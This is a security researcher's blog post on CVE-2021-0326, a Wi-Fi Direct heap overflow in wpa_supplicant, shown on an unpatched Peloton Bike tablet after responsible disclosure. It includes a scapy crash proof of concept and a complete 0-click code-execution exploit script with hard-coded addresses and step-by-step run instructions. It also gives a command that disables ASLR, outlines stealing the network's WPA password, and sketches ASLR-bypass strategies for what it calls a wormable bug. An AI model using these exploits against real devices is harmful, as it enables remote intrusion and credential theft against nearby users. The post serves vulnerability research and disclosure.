TL;DR: The Peloton Bike ran an unpatched version of Android 7 which led to it being vulnerable to a number of known issues, most significantly CVE-2021-0326, which could allow an attacker within WiFi range to execute arbitrary code on the device. There is no requirement for the user to interact with any attacker controlled data, the user must only tap the Cast Screen option in the upper right corner menu to be vulnerable. I own a Peloton Bike and discovered the device’s vulnerability to this issue as part of my work as a mobile security researcher for NowSecure. I reported it to Peloton via its responsible disclosure program and Peloton worked with us to quickly fix this vulnerability and deploy the fix to all impacted devices.
Because this is a vulnerability in wpa_supplicant, all unpatched Android devices are potentially vulnerable to this issue. The proof-of-concept (POC) exploit included in this post will only work with ASLR disabled but it is very likely that a bypass is possible.
This is the second post in a series about the Peloton Bike security. The previous post briefly touched on the security of the bike tablet, noting only that the fully updated device was running a version of Android 7. From the output of getprop we can check the last security patch date:
... [ro.build.version.release]: [7.0] [ro.build.version.sdk]: [24] [ro.build.version.security_patch]: [2019-08-05] ...
So that’s when it was last patched — 2019-08-05. I began my research in August 2021 so there were two (2) years of unpatched vulnerabilities to try out on the bike. Immediately I was determined to find a working RCE exploit for the Peloton to demonstrate the seriousness of being so out of date on patches. With two years of issues to pick from it was going to be really, really easy.
The first vulnerability I tested was one I actually discovered in August 2019 that affected Android’s handling of Proxy Auto-Configuration (PAC) files, detailed here NowSecure Discovers Critical Android Vuln That May Lead to Remote Code Execution. The gist of this issue is that the PAC files are simply Javascript code and libpac, the library Android has to parse them, uses V8 to execute this code. A pitfall of V8 is that it requires the program embedding it to handle the allocations of ArrayBuffer
objects. The way that libpac did this was incorrect, which made it possible for a malicious PAC script to overwrite the allocate
and free
function pointers to take control of program execution. As an attacker could intercept and modify a PAC file sent over HTTP, this technically counted as an RCE. I set the proxy settings on the Peloton Tablet to point to the PAC vulnerability PoC and checked logcat to see:
sending Proxy Broadcast for PAC Script: http://192.168.50.177:8000/paccrash.pac[localhost] 43363 xl= Fatal signal 11 (SIGSEGV), code 2, fault addr 0x7b7a320400 in tid 21256 (Binder:21230_4) *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'Peloton/RB1VQ/RB1VQ:7.0/NQV46A/1605503422:user/release-keys' Revision: '0' ABI: 'arm64' pid: 21230, tid: 21256, name: Binder:21230_4 >>> com.android.pacprocessor <<< signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x7b7a320400 x0 0000007b737b8fd0 x1 00000000cafebabe x2 00000000cafebabe x3 0000000000000001 x4 0000000000000000 x5 0000007b1e403751 x6 0000007b1e36be80 x7 0000000000000000 x8 0000007b737b8fd0 x9 0000007b7a320400 x10 0000000000000040 x11 0000000000000040 x12 0000007b3fa52c60 x13 0000000000000000 x14 0000007b7306c3f0 x15 003b9aca00000000 x16 0000007b6098f970 x17 0000007b7c62b9dc x18 0000000000000002 x19 0000000000000000 x20 0000007b73086c40 x21 00000000cafebabe x22 0000007b5fe1c070 x23 c643de9b321b87de x24 0000007b5fe1dff0 x25 0000007b5fe1c060 x26 0000007b73086c88 x27 0000007b1e319a89 x28 0000007b736bbb20 x29 0000007b736bbaa0 x30 0000007b603dd524 sp 0000007b736bba80 pc 0000007b7a320400 pstate 0000000060000000 backtrace: #00 pc 0000000000120400 [anon:libc_malloc:0000007b7a200000] #01 pc 00000000002f5520 /system/lib64/libpac.so #02 pc 00000000004904fc /system/lib64/libpac.so #03 pc 0000000000028a24 <anonymous:0000007b1eb84000>
So it was clear that the patch date was accurate. However unlike on the Pixel 3a on Android 9 the vtable was not overwritten by the URL passed to the resolver, instead being overwritten by a heap address. Depending on where on the stack this heap address came from the bug may not be exploitable. And regardless there is only one person in the world who has ever set their Peloton to use a proxy auto-config file, and that person has two thumbs and is writing a blog post right now. I wanted to find a vulnerability that could be realistically triggered during normal use of the bike by a normal person.
This decision would drastically cut down the number of public vulnerabilities to choose from. Most serious mobile platform vulnerabilities come from browser bugs or parsing corrupt media files, and RCE exploits typically work by sending those files by SMS, email, WhatsApp, etc… The Peloton doesn’t have those things. It is possible to set a profile picture that others will see, but that image goes through an image formatting service before being sent to the tablet which prevents any sort of maliciously crafted file from reaching a bike user. Also the tablet doesn’t have NFC so that’s out.Essentially the only publicly disclosed vulnerabilities left were those that targeted the bluetooth and networking stack. Luckily there were many bluetooth vulnerabilities to choose from, the most notable being CVE-2020-0022. This vulnerability and an exploit for it were covered in an excellent blog post here CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag. The issue stems from the parsing of L2CAP packets that have been fragmented. When reassembling the fragments in the bluetooth daemon the remaining length was not checked, allowing it to be less than the HCI_ACL_PREAMBLE_SIZE
which led to a negative size being passed to memcpy
. Memcpy then interprets this as an unsigned integer, leading to an overflow due to this massive size. I tested the PoC provided with this blog and was excited to see this result:
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'Peloton/RB1VQ/RB1VQ:7.0/NQV46A/1605503422:user/release-keys' Revision: '0' ABI: 'arm' pid: 625, tid: 1003, name: bluetooth wake >>> com.android.bluetooth <<< signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcca00000 r0 cca00000 r1 cc9fffe8 r2 fffbb23a r3 00000004 r4 cc9bb258 r5 00000014 r6 cc9bb288 r7 0000000e r8 00000004 r9 00000000 sl cdf7ddd0 fp 0000000b ip 80000000 sp cd42f420 lr cdeb2aaf pc e86f14c0 cpsr a00f0010 backtrace: #00 pc 000174c0 /system/lib/libc.so (memcpy+116) #01 pc 0007eaab /system/lib/hw/bluetooth.default.so #02 pc 0007d45b /system/lib/hw/bluetooth.default.so #03 pc 000e6f9b /system/lib/hw/bluetooth.default.so ...
However there was an issue; the above blog post was dealing with ARM64 and the bluetooth daemon on the Peloton was (weirdly) 32 bit ARM. The implementation of memcpy
in the ARM64 version has a quirk that allows the negative sized copy to end, which also allows the exploit to leak memory containing addresses. The 32 bit implementation did not have that quirk. Luckily at the very end of the post there was salvation: a different exploit for this vulnerability on a 32 bit device by Polo35. Instead of relying on the underflow this exploit used a zero length memcpy
to read 4 bytes of uninitialized memory.
Unfortunately this also did not work on the version of the bluetooth daemon on the Peloton. There was no way to leak memory or prevent crashes from memcpy
. It ultimately was not exploitable.
I then went through every other bluetooth vulnerability listed in those two years of Android Security Bulletins. Some were unexploitable. Many were kind of “theoretical” vulnerabilities that might exist for certain configurations that don’t exist in reality. Others I could not reproduce or even see how there was a vulnerability at all.
It sucked. I was stuck.
Peloton worked with us to quickly fix this vulnerability and deploy the fix to all impacted devices.
It was my belief when I started that there would be at least one, probably more, well documented vulnerabilities that I would be able to use to easily get code execution on this unpatched device. Two years is a long time in infosec. However this does not reflect the current state of Android security. Actual (publicly known) exploitable RCE vulnerabilities in Android, especially outside of chrome and the media framework, are pretty few and far between. I understand a bit more now why 0-Click Android exploits became more expensive than iOS.
Previously I had been looking at older vulnerabilities, specifically looking for better documented ones, hopefully with exploits that I could simply rework for the Peloton. I gave up on that. Additionally I had exhausted the known Bluetooth vulnerabilities so I started looking elsewhere. I turned to WiFi and read about CVE-2021-0326 in the February 2021 Android Security Bulletin
The description of CVE-2021-0326 is
In p2p_copy_client_info of p2p.c, there is a possible out of bounds write due to a missing bounds check. This could lead to remote code execution if the target device is performing a Wi-Fi Direct search, with no additional execution privileges needed. User interaction is not needed for exploitation.
I had overlooked this CVE for a few reasons, namely that I didn’t know what a “Wi-Fi Direct search” was, and I didn’t know whether the attacker needed to be on the same network. This was a constraint I wanted to avoid if possible. However I discovered that a core feature of the Peloton Bike, the ability to screen cast, used Wi-Fi Direct as implemented by Miracast. This is an important feature of the Bike since its tablet can’t be turned (unlike the Bike+), so classes other than cycling are best viewed on a different screen. When the Cast Screen option is selected from the upper right corner menu the tablet performs the “WiFi Direct search” described in the CVE description. Since Wi-Fi Direct is a way to form ad hoc networks an attacker does not need to be on the same network as the victim device. This was beginning to look like an ideal target.
There is essentially nothing written about this CVE besides what is in the description and what is in the commit message here
0b60cb210510c68871c8d735285bc4915de3bd80 – platform/external/wpa_supplicant_8 – Git at Google.
From the diff we can see that the vulnerable code in p2p_copy_client_info is:
static void p2p_copy_client_info(struct p2p_device *dev, struct p2p_client_info *cli) { p2p_copy_filter_devname(dev->info.device_name, sizeof(dev->info.device_name), cli->dev_name, cli->dev_name_len); dev->info.dev_capab = cli->dev_capab; dev->info.config_methods = cli->config_methods; os_memcpy(dev->info.pri_dev_type, cli->pri_dev_type, 8); dev->info.wps_sec_dev_type_list_len = 8 * cli->num_sec_dev_types; os_memcpy(dev->info.wps_sec_dev_type_list, cli->sec_dev_types, dev->info.wps_sec_dev_type_list_len); }
There is no length check here to make sure that 8 * cli->num_sec_dev_types
does not exceed the bounds of the field wps_sec_dev_type_list
which has a capacity of 128 (8 bytes * 16 entries) in info, an instance of the p2p_peer_info
struct defined in p2p.h
:
#define P2P_MAX_WPS_VENDOR_EXT 10 /** * struct p2p_peer_info - P2P peer information */ struct p2p_peer_info { ... /** * wps_sec_dev_type_list - WPS secondary device type list * * This list includes from 0 to 16 Secondary Device Types as indicated * by wps_sec_dev_type_list_len (8 * number of types). */ u8 wps_sec_dev_type_list[WPS_SEC_DEV_TYPE_MAX_LEN]; // overflow occurs here /** * wps_sec_dev_type_list_len - Length of secondary device type list */ size_t wps_sec_dev_type_list_len; struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]; // can overflow into this /** * wfd_subelems - Wi-Fi Display subelements from WFD IE(s) */ struct wpabuf *wfd_subelems; // this /** * vendor_elems - Unrecognized vendor elements * * This buffer includes any other vendor element than P2P, WPS, and WFD * IE(s) from the frame that was used to discover the peer. */ struct wpabuf *vendor_elems; // and this, but no further ...
WPS_SEC_DEV_TYPE_MAX_LEN
is defined to be 128 in wps.h
. It turns out there is also no length check in p2p_group_info_parse
, the function where cli->num_sec_dev_types
originates from (it is included here in full due to its importance)
int p2p_group_info_parse(const u8 *gi, size_t gi_len, struct p2p_group_info *info) { const u8 *g, *gend; os_memset(info, 0, sizeof(*info)); if (gi == NULL) return 0; g = gi; gend = gi + gi_len; while (g < gend) { struct p2p_client_info *cli; const u8 *cend; u16 count; u8 len; cli = &info->client[info->num_clients]; len = *g++; if (len > gend - g || len < 2 * ETH_ALEN + 1 + 2 + 8 + 1) return -1; /* invalid data */ cend = g + len; /* g at start of P2P Client Info Descriptor */ cli->p2p_device_addr = g; g += ETH_ALEN; cli->p2p_interface_addr = g; g += ETH_ALEN; cli->dev_capab = *g++; cli->config_methods = WPA_GET_BE16(g); g += 2; cli->pri_dev_type = g; g += 8; /* g at Number of Secondary Device Types */ len = *g++; if (8 * len > cend - g) return -1; /* invalid data */ cli->num_sec_dev_types = len; cli->sec_dev_types = g; g += 8 * len; /* g at Device Name in WPS TLV format */ if (cend - g < 2 + 2) return -1; /* invalid data */ if (WPA_GET_BE16(g) != ATTR_DEV_NAME) return -1; /* invalid Device Name TLV */ g += 2; count = WPA_GET_BE16(g); g += 2; if (count > cend - g) return -1; /* invalid Device Name TLV */ if (count >= WPS_DEV_NAME_MAX_LEN) count = WPS_DEV_NAME_MAX_LEN; cli->dev_name = (const char *) g; cli->dev_name_len = count; g = cend; info->num_clients++; if (info->num_clients == P2P_MAX_GROUP_ENTRIES) return -1; } return 0; }
The only constraint here is that the length of sec_dev_types
cannot be larger than the remaining data in the buffer and the length of the data for each client needs to be less than 256 as it must fit in a u8
. This puts some limits on what can be done with the vulnerability as it means that it can’t be used to leak data after the end of the controlled buffer, and it has a limited range to overflow. The group client info needs to include 23 bytes before the secondary devices, and a minimum of 4 for a zero length device name combined with the 128 bytes of secondary device types gives 101 bytes of overflow. There are 4 bytes between wps_sec_dev_type_list
and wps_vendor_ext
, the 4 bytes of size_t wps_sec_dev_type_list_len
. Ultimately this allows the attacker to only overflow into struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT], and struct wpabuf *wfd_subelems
. The only time these pointers are used after the overflow is when they are freed when the device is lost. Therefore the overflow can only be used to free up to 11 arbitrary addresses at a time.
I figured most of this out later, as initially I was focused on simply reproducing the crash from this overflow. The issue was discovered by OSS-Fuzz libFuzzer and the only artifact was a raw dump of bytes with no information related to where they were to be used as input.
There was no public additional context given to help actually reproduce it. Eventually after reading much more of the source I discovered that I could reproduce the crash by modifying p2p_group_build_probe_resp_ie
in the attackers wpa_supplicant in order to return a wpabuf
containing only these bytes. With the help of Wireshark I was able to understand the meaning of the data and eventually created a minimal crash PoC Python script using scapy:
from scapy.all import * iface = 'wlp4s0mon' # interface in monitor mode target = 'ac:04:0b:e9:30:69' # target MAC address mac = RandMAC() # (fake) mac address of source dot11 = Dot11FCS(addr1=target, addr2=mac) beacon = Dot11Beacon(cap='ESS+privacy') essid = Dot11Elt(ID='SSID', info='DIRECT-XX') # DIRECT- SSID for WFD rates = Dot11Elt(ID='Rates', info=b"\x48") # rate of monitor mode iface rsn = Dot11Elt(ID='RSNinfo', info=( b"\x01\x00" # RSN Version 1 b"\x00\x0f\xac\x02" # Group Cipher Suite : 00-0f-ac TKIP b"\x02\x00" # 2 Pairwise Cipher Suites (next two lines) b"\x00\x0f\xac\x04" # AES Cipher b"\x00\x0f\xac\x02" # TKIP Cipher b"\x01\x00" # 1 Authentication Key Management Suite (line below) b"\x00\x0f\xac\x02" # Pre-Shared Key b"\x00\x00")) # RSN Capabilities (no extra capabilities) sec_devs = 0x13 # number of secondary device types group = ( b"AAAAAA" + # p2p client device addr b"BBBBBB" + # p2p client interface addr b"\xff" + b"\x01\x88" + # capabilities, config methods b"EEEEEEEE" + # primary dev type struct.pack("<B", sec_devs) + # secondary dev type count b"\x00"*(sec_devs*8-12) + # nulls to fill up sec devs b"AAAAAAAA" + # address to be freed b"\x00\x00\x00\x00" + # 4 nulls for padding b"\x10\x11\x00\x00") # empty device name group = struct.pack("<B", len(group)) + group # p2p group info p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=( b"\x09\x03" + # p2p identifier b"\x06\x00" + b"CCCCCC" + # p2p device id len, id b"\x0e" + # p2p client info identifier struct.pack("<H", len(group)) + # total length of group client group)) # group client data # assemble and send packet packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p sendp(packet, iface=iface, inter=0.100, loop=1)
You can match up the contents of group here to the different fields parsed in p2p_group_info_parse
. This is the most important part of the script, the rest is mostly setup to create a proper packet. You may need to change the rates field to work with the channel your interface is on, as well as change the interface name and target of course. Running this script and then clicking on Cast Screen on the Peloton resulted in a crash log with fault addr 0x41414141414159
where both x0 = 4141414141414141
and x19 = 4141414141414141
and the backtrace contained:
#00 pc 000000000001b950 /system/bin/wpa_supplicant #01 pc 000000000004a1c4 /system/bin/wpa_supplicant #02 pc 0000000000050204 /system/bin/wpa_supplicant ...
On an Android 9 Pixel 3a the backtrace is symbolicated so that we can see the crash is in wpabuf_free
:
#00 pc 0000000000045bb4 /vendor/bin/hw/wpa_supplicant (wpabuf_free.cfi+20) #01 pc 0000000000078674 /vendor/bin/hw/wpa_supplicant (p2p_device_free.cfi+164) #02 pc 000000000007f818 /vendor/bin/hw/wpa_supplicant (p2p_flush.cfi+124) ...
Looking at this address in radare2 we can see the exact instruction that led to the crash. The instruction in question checks the flags
field of the wpabuf
and if it is 0 (it normally is) it frees the wpabuf
address stored in x19
.
Now that we know the vulnerability can be used to free arbitrary addresses it’s time to start the real exploit.
After a decent amount of research about the possibility of leaking addresses or remotely spraying the heap enough to reliably bypass ASLR, I determined that instead I should begin by creating an exploit that worked with ASLR disabled. Accordingly the PoC in the next section will not work on stock devices, all of which will have the address space randomized. A subsequent section will detail possible ways of defeating ASLR, and I am quite confident that an experienced exploit developer could use these strategies successfully in an exploit.
With the ability to free arbitrary locations, and the knowledge of where structures are on the heap, my initial plan was to find a struct
containing a callback function pointer, free it, then overwrite it with attacker controlled data. In particular there are a few good candidates for data to overwrite with, and they are ones we have already seen: struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]
and struct wpabuf *wfd_subelems
. These are allocated in p2p_add_device
... for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { wpabuf_free(dev->info.wps_vendor_ext[i]); dev->info.wps_vendor_ext[i] = NULL; } for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { if (msg.wps_vendor_ext[i] == NULL) break; dev->info.wps_vendor_ext[i] = wpabuf_alloc_copy( msg.wps_vendor_ext[i], msg.wps_vendor_ext_len[i]); if (dev->info.wps_vendor_ext[i] == NULL) break; } wfd_changed = p2p_compare_wfd_info(dev, &msg); if (msg.wfd_subelems) { wpabuf_free(dev->info.wfd_subelems); dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems); } ...
In general I will use struct wpabuf *wps_vendor_ext
to perform overwrites of data freed with the arbitrary free primitive, as up to 10 ( P2P_MAX_WPS_VENDOR_EXT)
can be allocated with each sent packet, and their length can be completely controlled. Vendor extensions can be added to the packet in the scapy script easily
vendor_ext = Dot11EltVendorSpecific(oui=0x0050f2, info=b"\x04\x10\x49" + ... ) ... packet = packet / vendor_ext
wps_vendor_ext
is a wpabuf
, a structure the exploit will deal with a lot so it is definitely worth delving into its layout. Its definition is in wpabuf.h
struct wpabuf { size_t size; /* total size of the allocated buffer */ size_t used; /* length of data in the buffer */ u8 *buf; /* pointer to the head of the buffer */ unsigned int flags; /* optionally followed by the allocated buffer */ };
It is the data structure that wpa_supplicant uses to store essentially every buffer of unknown length. Nearly every single heap allocation of attacker controlled data is stored in a wpabuf
. This creates some issues for the previously planned heap exploit as the size
, used
, and flag
fields will not be controllable and will need to overwrite fields that will not disrupt the execution. Additionally the buf pointer may cause issues, but could also be useful to write a pointer to the controlled data. This turns out to be quite tricky as illustrated by the first attempted overwrite target, wpa_radio
defined in wpa_supplicant_i.h
.
/** * struct wpa_radio - Internal data for per-radio information * * This structure is used to share data about configured interfaces * (struct wpa_supplicant) that share the same physical radio, e.g., to allow * better coordination of offchannel operations. */ struct wpa_radio { char name[16]; /* from driver_ops get_radio_name() or empty if not * available */ unsigned int external_scan_running:1; unsigned int num_active_works; struct dl_list ifaces; /* struct wpa_supplicant::radio_list entries */ struct dl_list work; /* struct wpa_radio_work::list entries */ }; #define MAX_ACTIVE_WORKS 2 struct wpa_radio_work { struct dl_list list; ... void (*cb)(struct wpa_radio_work *work, int deinit); ... };
wpa_radio
was chosen specifically because it starts with name[16]
which means that by overwriting it with a wpabuf
we do not have to worry about size
and used
overwriting anything important. Unfortunately the same cannot be said of flags
and buf
. Here buf
overwrites num_active_works
and flags
and the 4 bytes of padding after it overwrites the first iface
pointer in the doubly-linked list. The goal here was to overwrite the work
field with pointers to fake wpa_radio_work
entries that have the function pointer cb
. Unfortunately the code before cb
is called contains references to the iface
and a compiler optimization removes the NULL check for it (as it could only be NULL through undefined behavior). This results in a crash that is difficult to avoid. Even when avoided there is another check to make sure num_active_works
is less than MAX_ACTIVE_WORKS
before the callback. The pointer buf
when interpreted as an unsigned int
is larger than 2. Trying to offset the data to change where the fields landed within wpa_radio
led to crashes from overwriting crucial structures in the adjacent heap allocations.
This target was a disaster as there were many tricks that very, very nearly made it work. But ultimately it was not the right choice to overwrite. With a large complex program like wpa_supplicant it is somewhat surprising but there are actually relatively few good picks for this. After more searching I landed on eloop_timeout
defined in eloop.c
.
struct eloop_timeout { struct dl_list list; struct os_reltime time; void *eloop_data; void *user_data; eloop_timeout_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx);
This is related to the radio structures as these eloop_timeout
are used to schedule repeated tasks within wpa_supplicant, including the scans that use wpa_radio
. Once the time
in the timeout
has been reached the handler
function is called with eloop_data
and user_data
as arguments. These scheduled tasks are stored in a global static variable called eloop
that contains a doubly linked list of every active eloop_timeout
(called timeout
). It happened that the first eloop_timeout
was reliably located at 0x7fb743d1c0
. However freeing 0x7fb743d1c0
would lead to that address being reallocated by our chosen data. This would mean that struct dl_list list
will be overwritten by size
and used
. This is a problem as it will cause crashes when the list is traversed in the functions in eloop.c
. So instead the exploit can offset the free, using 0x7fb743d1a0 (0x7fb743d1c0-0x20)
, which will lead to an allocation at this address. Since these allocations are 0x40 bytes or less the exploit can then overwrite the first 0x20 bytes of this eloop_timeout
. Now struct dl_list list
is overwritten with fully attacker controlled data, the body of a wps_vendor_ext
. Using this we can forge an entry in the list that points to fully attacker controlled data, and also repair the list so that it does not crash when traversed. The struct dl_list
consists of two pointers, next
and prev
implementing a doubly linked list
/** * struct dl_list - Doubly-linked list */ struct dl_list { struct dl_list *next; struct dl_list *prev; }; #define DL_LIST_HEAD_INIT(l) { &(l), &(l) } static inline void dl_list_init(struct dl_list *list) { list->next = list; list->prev = list; } ... static inline int dl_list_empty(struct dl_list *list) { return list->next == list; } ...
A list
is terminated when the current item.next
is back at the address of the list
itself. Therefore in order to insert a new entry with the overwrite, next
needs to point to our new fake entry and prev
must still point to list
, which here is 0x55556fc6b0
an address in the static variable eloop
in the main module. Next our fake entry, made from the contents of another wps_vendor_ext
, starts with a dl_list
which has a next
that points to 0x55556fc6b0
and a prev
that points to 0x7fb743d1c0
. This constitutes a valid chain of dl_list
entries so that the eloop_timeout
functions will not crash before reaching the handler
function pointer in our fake entry. At this point it is time to show the finished exploit
from scapy.all import * import argparse desc = """ Skeleton (but pronounced like Peloton): A 0-click RCE exploit for CVE-2021-0326 Austin Emmitt of Nowsecure (@alkalinesec) """ parser = argparse.ArgumentParser(description=desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', dest='interface', required=True, help='network interface in monitor mode') parser.add_argument('-t', dest='target', required=True, help='target MAC address') args = parser.parse_args() iface = args.interface # interface in monitor mode target = args.target # target MAC address base = 0x5555555000 # base address of main module eloop = 0x7fb743d1c0 # eloop_timeout address p2 = 0x7fb742e500 # second part of payload eloop_next = base + 0x1a76b0 # eloop next (&list terminates) wpa_printf = base + 0x1a938 # addr of wpa_printf msg = b"hi :)" # log on success (< 8 bytes) frees = [eloop-0x20] # list of addrs to free (up to 10) sec_devs = 0x12+len(frees) # number of secondary device types p64 = lambda x: struct.pack("<Q", x) def build_beacon(dev_mac, client_mac): group = ( client_mac + b"CCCCCC\xffDDEEEEEEEE" + # p2p client information struct.pack("<B", sec_devs) + # secondary dev count b"\x00"*(sec_devs*8-8*len(frees)-4) + # nulls to fill up sec devs b"".join(p64(x) for x in frees) + # addresses to be freed b"\x00\x00\x00\x00\x10\x11\x00\x00") # empty device name group = struct.pack("<B", len(group)) + group # p2p group info p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=( b"\x09\x03\x06\x00" + dev_mac + # p2p device id, group info b"\x0e" + # p2p group info identifier struct.pack("<H", len(group)) + group)) # len of group info ext_data1 = ( p64(p2) + # next: address of ext_data2 p64(eloop_next) + # previous: address of terminator b"\x00"*16) # times filled with 00 so it doesn't reorder vendor1 = Dot11EltVendorSpecific(oui=0x0050f2, info=( b"\x04\x10\x49" + # vendor extension id struct.pack(">H", len(ext_data1)) + # length of 1st payload ext_data1)) # 1st payload data ext_data2 = ( p64(eloop_next) + # next: address of terminator p64(eloop) + # previous: address of ext_data1 p64(0) + p64(0) + # times set to 0 so it runs right away p64(5) + p64(p2+0x38) + # error level, address of msg p64(wpa_printf) + # addr of wpa_printf to jump to msg + b"\x00"*(8-len(msg))) # message and null padding vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=( b"\x04\x10\x49" + # vendor extension id struct.pack(">H", len(ext_data2)) + # length of 2nd payload ext_data2)) # 2nd payload data mac = RandMAC() # (fake) mac address of source dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac) beacon = Dot11Beacon(cap='ESS+privacy') essid = Dot11Elt(ID='SSID', info='DIRECT-XX') rates = Dot11Elt(ID='Rates', info=b"\x48") rsn = Dot11Elt(ID='RSNinfo', info=( b"\x01\x00" # RSN Version 1 b"\x00\x0f\xac\x02" # Group Cipher Suite : 00-0f-ac TKIP b"\x02\x00" # 2 Pairwise Cipher Suites b"\x00\x0f\xac\x04" # AES Cipher b"\x00\x0f\xac\x02" # TKIP Cipher b"\x01\x00" # 1 Authentication Key Management Suite b"\x00\x0f\xac\x02" # Pre-Shared Key b"\x00\x00")) # RSN Capabilities # assemble packet packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p # add fake eloop_timeout elements for vendor in (vendor1, vendor2): for i in range(5): packet = packet / vendor return packet mac1 = b"AAAAAA" # first dev MAC mac2 = b"BBBBBB" # first client MAC # two packets with swapped addresses # to free at least ones vendor_ext packet1 = build_beacon(mac1, mac2) packet2 = build_beacon(mac2, mac1) print("sending exploit to %s" % target) sendp([packet1, packet2], iface=iface, inter=0.100, loop=1)
Much of this script should be familiar from the crash PoC. The new parts are the two vendor extension elements, ext_data1
which will overwrite the beginning of the eloop_timeout
at 0x7fb743d1c0
, and ext_data2
which will contain the fake eloop_timeout
that is added to the doubly linked list. The address of p2, 0x7fb742e500
, has some room for error as the payloads are spread many times throughout these regions of the heap. The address 0x7fb742e500
was chosen as it was the first address that was fully reliable, but 0x7fb742e580, 0x7fb742e600…
would also have worked. The second payload also sets the time
field to be all zeros, which will allow the timeout to run immediately. Finally eloop_data
and user_data
are passed as arguments to the handler
when it is called
/* check if some registered timeouts have occurred */ timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_reltime(&now); if (!os_reltime_before(&now, &timeout->time)) { void *eloop_data = timeout->eloop_data; void *user_data = timeout->user_data; eloop_timeout_handler handler = timeout->handler; eloop_remove_timeout(timeout); handler(eloop_data, user_data); } }
This is very convenient and the exploit can simply set eloop_data
, user_data
, and handler
to 5, the address of the last 8 bytes of our payload, and the address of wpa_printf
respectively in order to completely set up a call that will log our message to prove the code execution succeeded.
See the below diagram for an illustration of the overwrite that occurs, and how the overwrite adds the new entry to the eloop_timeout
list.
In order to make this exploit work on your device you will need to disable ASLR (use echo 0 > /proc/sys/kernel/randomize_va_space
) and also get the correct addresses for your version of wpa_supplicant. In the repo for this blog post there will be a Frida script that can help in determining those values. After running the script with the correct target
and interface
arguments, wait 15 seconds or so and then tap Cast Screen on the Peloton (or go to Wifi Direct in Settings on any other unpatched Android device). After a few seconds the exploit should succeed and logcat will contain output similar to
... D wpa_supplicant: P2P: * Device Info D wpa_supplicant: p2p-dev-wlan0: Add radio work 'p2p-listen'@0x7fb742e540 D wpa_supplicant: p2p-dev-wlan0: First radio work item in the queue - schedule start immediately E wpa_supplicant: hi :)
(followed by a crash, this is not a graceful exploit). If the exploit does not succeed and there is no crash, press the refresh button in the top right of the Cast Screen menu, it may be that the device did not receive the exploit beacons in time. In a realistic attack scenario an attacker can get the target
MAC address by sniffing on the same interface to find probe requests looking for the “Direct-” SSID.
A more interesting exploit of this vulnerability could find the WPA PSK password of the network the device is on and send it back to the attacker through a probe request / response or beacon by e.g. replacing the Manufacturer field with the password. The password for my network was reliably located at 0x7fb742a400
so this should be relatively simple to implement.
While the PoC above requires ASLR to be disabled it is entirely possible that an exploit could be written to bypass this requirement. If a separate way to leak memory to the attacker was found, bypassing ASLR in the exploit should be relatively easy. It only really requires two addresses, the base address of the main module and the one heap mapping. The offsets could be found for each different version of wpa_supplicant. Leaking a small amount of data from many structs (like the eloop_timeout
used in the exploit) would supply the necessary addresses.
Without a separate way to discover addresses there are only two tools to potentially bypass ASLR: partial overwrites and spraying the heap. It may be possible to perform a somewhat useful partial overwrite by first sending a probe request packet with P2P device information and WiFi Display subelements. In p2p_add_dev_from_probe_req
in p2p.c
there is code to add wfd_subelems
... dev->flags |= P2P_DEV_PROBE_REQ_ONLY; ... if (msg.wfd_subelems) { wpabuf_free(dev->info.wfd_subelems); dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems); } ...
The P2P_DEV_PROBE_REQ_ONLY
flag allows the device data to be updated in p2p_add_group_clients
if (dev) { if (dev->flags & (P2P_DEV_GROUP_CLIENT_ONLY | P2P_DEV_PROBE_REQ_ONLY)) { /* * Update information since we have not * received this directly from the client. */ p2p_copy_client_info(dev, cli);
This allows the wfd_subelems
field to be partially overwritten by 4 bytes (due to the 8 byte writes being offset by padding). This provides the correct most significant byte to the arbitrary address to free. Alternatively the entire pointer can be overwritten with zeros which will prevent the allocation from ever being freed (the other kind of memory leak). The wfd_subelems
can be large allocations with data almost entirely controlled by the attacker and over potentially many WiFi Direct scans the heap can be sufficiently sprayed to allow a guessed arbitrary address to be freed. Ideally the size of the wfd_subelems
can be selected such that when reallocated this memory contains a wpabuf
that is part of data sent back to the attacker (in the content of a beacon or probe response). Next the address-0x20
can be freed allowing the attacker to overwrite the size of the wpabuf
to make it larger. In subsequent beacons or probe responses data from outside the original bounds of the buffer will be sent, potentially exposing memory that can be used to calculate the addresses needed for the exploit.
I have tried very little of this, but it should be possible, and I may try to make it work in the future. I will likely not release that exploit as this vulnerability is wormable, each Android device (and any other device using wpa_supplicant) can infect the ones around it. Though this might not work depending on how frequently devices perform WiFi Direct searches.
Peloton produces another model, the Bike+, which runs Android 9 and the patch for CVE-2021-0326 was deployed by Peloton in June. Additionally CFI (Control Flow Integrity) presents more obstacles to exploitation on Android 9 devices.
When I saw that the Peloton Bike had not received an Android security patch for over two years I believed that it would be easy to find a known vulnerability that had been written about sufficiently for an RCE exploit to be relatively easy to achieve. Instead it ended up being an incredibly difficult journey, and even now the exploit is only really half finished. Clearly patching is still very important. However this is hopefully an indication that the core software of the majority of mobile devices, Android, is becoming more secure.
At NowSecure we are committed to making the mobile world safer. Check out NowSecure Platform for automated mobile application security testing and our expert mobile penetration testing services to better secure your mobile apps today.